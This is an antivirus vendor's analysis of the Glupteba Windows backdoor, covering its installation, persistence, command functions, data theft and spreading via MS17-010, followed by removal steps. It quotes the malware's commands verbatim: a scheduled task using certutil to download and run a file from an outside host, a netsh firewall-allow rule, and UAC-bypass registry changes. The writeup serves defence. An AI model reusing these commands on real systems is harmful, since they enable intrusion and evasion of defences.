Analysis by: Clive Fuentebella

ALIASES:

Trojan.Win32.Glupteba (IKARUS)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Backdoor

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet

This Backdoor arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It connects to a website to send and receive information.

  TECHNICAL DETAILS

File Size: 4,630,016 bytes
File Type: EXE
Memory Resident: Yes
Payload: Connects to URLs/IPs

Arrival Details

This Backdoor arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Backdoor drops the following copies of itself into the affected system:

  • %Windows%\rss\csrss.exe

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

It adds the following processes:

  • "schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "{Malware file path and name}" /TN csrss /F"
  • "schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://{BLOCKED}ct.info/app/app.exe %User Temp%\csrss\scheduled.exe && %User Temp%\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F

It adds the following mutexes to ensure that only one of its copies runs at any one time:

  • Global\h48yorbq6rm87zot
  • Global\ewzy5hgt3x5sof4v
  • Global\y7ze3fznx1u0yc2z

Autostart Technique

This Backdoor adds the following registry entries to enable its automatic execution at every system startup:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
{Name stored in HKEY_CURRENT_USER\Software\Microsoft\bd2d26d3\Name} = %Windows%\rss\csrss.exe

Other System Modifications

This Backdoor adds the following registry entries:

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
Name = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
Firewall = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
Defender = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
Servers = https://{BLOCKED}es.com, https://{BLOCKED}ge.com, https://{BLOCKED}at.com

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
UUID = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
FirstInstallDate = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
ServiceVersion = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
SC = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
PGDSE = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
VC = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
ServersVersion = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
CDN = https://{BLOCKED}ct.info

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
OSCaption = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
OSArchitecture = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
IsAdmin = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
AV = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
PatchTime = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
CPU = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
GPU = {Value}

Backdoor Routine

This Backdoor connects to the following websites to send and receive information:

  • {URL stored in HKEY_CURRENT_USER\Software\Microsoft\bd2d26d3\Servers}

It connects to the following URL(s) to send and receive commands from a remote malicious user:

  • Update itself
  • Stop XMR mining
  • Check if a process is running
  • Check if an event or mutex exists
  • Verify signatures of PE files
  • Download and execute services
  • Establish heartbeat
  • Download and execute files
  • Upload file
  • Read blockchain data
  • Take screenshot

Download Routine

This Backdoor connects to the following website(s) to download and execute a malicious file:

  • {URL stored in HKEY_CURRENT_USER\Software\Microsoft\bd2d26d3\CDN}

It saves the files it downloads using the following names:

  • %User Temp%\csrss\vc.exe
  • %User Temp%\csrss\smb\deps.zip
  • %User Temp%\wup\wup.exe (downloaded coinminer component)
  • %Windows%\windefender.exe (downloaded watchdog.exe from CDN URL)

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

Information Theft

Upon execution of the affected application, it gathers the following information:

  • Campaign ID
  • Distributor ID
  • OS information (architecture, caption)
  • CPU information
  • GPU information
  • First install date
  • Installed malware version
  • Installed AV products
  • Firewall information
  • Flag whether the malware was executed as an admin
  • Active window name
  • SID

Other Details

This Backdoor adds the following registry keys:

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3

It does the following:

  • It drops the following drivers in %System%\drivers:
    • winmon.sys
    • winmon32.sys
    • winmon64.sys
    • winmonfs32.sys
    • winmonfs64.sys
    • winmonprocessmonitor32.sys
    • winmonprocessmonitor64.sys
    • winmonsystemmonitor-10-64.sys
    • winmonsystemmonitor-7-10-32.sys
    • winmonsystemmonitor-7-64.sys
  • It adds the following processes to bypass firewall rules:
    • cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="%Windows%\rss\csrss.exe" enable=yes"
  • It creates Windows Defender exclusions by adding registry entries in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusion\Paths using its created files and folders as values.
  • It hides its related files and processes from the infected machine.
  • It adds services for every driver dropped in %System%\drivers.
  • It abuses CompMgmtLauncher to bypass UAC and modifies HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command to escalate privileges (if not executed in Windows 10).
  • It abuses fodhelper.exe to bypass UAC and modifies HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command to escalate privileges (if executed in Windows 10).
  • It terminates itself if found running in a virtual machine.
  • It terminates itself if found running inside an Azure machine.
  • It terminates itself if an AV product is found running.
  • It uses EternalBlue/DoublePulsar components to takes advantage of the following software vulnerabilities to distribute its coinminer component across networks:
    • Microsoft Windows SMB Server (MS17-010) Vulnerability

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.. %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

It adds the following scheduled tasks:

  • Task name: csrss
    Task to be run: {Malware file path and name}
  • Task name: ScheduledUpdate
    Task to be run: cmd.exe /C certutil.exe -urlcache -split -f https://{BLOCKED}ct.info/app/app.exe %User Temp%\csrss\scheduled.exe && %User Temp%\csrss\scheduled.exe /31340

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 16.744.03
FIRST VSAPI PATTERN DATE: 27 May 2021
VSAPI OPR PATTERN File: 16.745.00
VSAPI OPR PATTERN Date: 28 May 2021

Step 1

Trend Micro Predictive Machine Learning detects and blocks malware at the first sign of its existence, before it executes on your system. When enabled, your Trend Micro product detects this malware under the following machine learning name:

    • Troj.Win32.TRX.XXPE50FFF044

Step 2

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Restart in Safe Mode

[ Learn More ]

Step 5

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:

  • Task name: csrss
    Task to be run: {Malware file path and name}
  • Task name: ScheduledUpdate
    Task to be run: cmd.exe /C certutil.exe -urlcache -split -f https://{BLOCKED}ct.info/app/app.exe %User Temp%\csrss\scheduled.exe && %User Temp%\csrss\scheduled.exe /31340

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 6

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • {Name stored in HKEY_CURRENT_USER\Software\Microsoft\bd2d26d3\Name }=%Windows%\rss\csrss.exe

Step 7

Delete this registry key

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry. Before you could do this, you must restart in Safe Mode. For instructions on how to do this, you may refer to this page If the preceding step requires you to restart in safe mode, you may proceed to edit the system registry.

  • In HKEY_CURRENT_USER\Software\Microsoft
    • bd2d26d3

Step 8

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %System%\drivers\winmon.sys
  • %System%\drivers\winmon32.sys
  • %System%\drivers\winmon64.sys
  • %System%\drivers\winmonfs32.sys
  • %System%\drivers\winmonfs64.sys
  • %System%\drivers\winmonprocessmonitor32.sys
  • %System%\drivers\winmonprocessmonitor64.sys
  • %System%\drivers\winmonsystemmonitor-10-64.sys
  • %System%\drivers\winmonsystemmonitor-7-10-32.sys
  • %System%\drivers\winmonsystemmonitor-7-64.sys
  • %User Temp%\csrss\vc.exe
  • %User Temp%\csrss\smb\deps.zip
  • %User Temp%\wup\wup.exe
  • %Windows%\windefender.exe
  • %Windows%\rss\csrss.exe

Step 9

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Backdoor.Win32.GLUPTEBA.MBU. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


Did this description help? Tell us how we did.